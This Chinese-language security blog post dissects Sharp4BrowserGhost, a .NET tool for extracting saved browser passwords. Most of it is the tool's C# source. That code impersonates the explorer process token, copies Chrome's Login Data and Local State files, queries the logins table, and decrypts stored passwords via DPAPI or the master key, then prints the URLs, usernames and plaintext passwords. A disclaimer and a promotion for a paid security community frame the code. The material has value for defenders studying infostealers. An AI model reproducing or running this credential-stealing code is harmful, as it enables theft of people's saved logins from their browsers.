01阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面
02基本介绍
Sharp4BrowserGhost是一款抓取 Google Chrome 和 Internet Explorer 浏览器存储的密码的工具。它基于 .NET Framework 2.0,利用进程模拟技术提升权限,访问浏览器的本地数据存储,并提取保存的登录信息。本文将详细解析其核心代码,以揭示其工作原理和方法。
03编码实现
以下是 Sharp4BrowserGhost的主要功能实现代码,通过调用各种子模块来执行具体的数据提取任务。首先,代码通过 Process.GetProcesses() 获取当前所有运行的进程,并提取每个进程的 ID、名称和用户名。
foreach (Process process in Process.GetProcesses())
{int id = process.Id;string processName = process.ProcessName;string processUserName = Program.GetProcessUserName(id);
接着,查找名称为 explorer 的进程,并通过 ImpersonateProcessToken(id) 模拟该进程的令牌,从而提升当前进程的权限,假装为 Explorer 进程的用户。
if (processName == "explorer"){Console.WriteLine("[+] [{0}] [{1}] [{2}]", id, processName, processUserName);Program.ImpersonateProcessToken(id);Console.WriteLine("[+] Impersonate user {0}", Environment.UserName);Console.WriteLine("[+] Current user {0}", Environment.UserName);
然后,获取 Chrome 存储登录数据的文件路径,将其复制到临时文件以供后续操作。具体代码如下所示。
string text = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Login Data";
string filePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Local State";
string tempFileName = Path.GetTempFileName();
File.Copy(text, tempFileName, true);
Console.WriteLine("[+] Copy {0} to {1}", text, tempFileName);
随后,执行 SQL 查询获取登录数据。使用 ProtectedData.Unprotect 方法解密存储的密码,如果失败,则使用 Program.GetMasterKey 获取主密钥并调用 Program.DecryptWithKey 解密密码。
SQLiteDatabase sqliteDatabase = new SQLiteDatabase(tempFileName);string query = "SELECT origin_url, username_value, password_value FROM logins";foreach (object obj in sqliteDatabase.ExecuteQuery(query).Rows){DataRow dataRow = (DataRow)obj;string arg;string arg2;try{arg = (string)dataRow["origin_url"];arg2 = (string)dataRow["username_value"];}catch{continue;}byte[] encryptedData = Convert.FromBase64String((string)dataRow["password_value"]);string arg3;try{arg3 = Encoding.UTF8.GetString(ProtectedData.Unprotect(encryptedData, null, DataProtectionScope.CurrentUser));}catch (Exception){byte[] masterKey = Program.GetMasterKey(filePath);arg3 = Program.DecryptWithKey(encryptedData, masterKey);}Console.WriteLine("\tURL -> {0}\n\tUSERNAME -> {1}\n\tPASSWORD -> {2}\n", arg, arg2, arg3);}
通过这些步骤,Sharp4BrowserGhost 利用进程模拟和浏览器存储文件的解密,成功提取 Chrome 和 IE 浏览器中的登录信息。
04.NET安全星球
星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。
20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。
我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。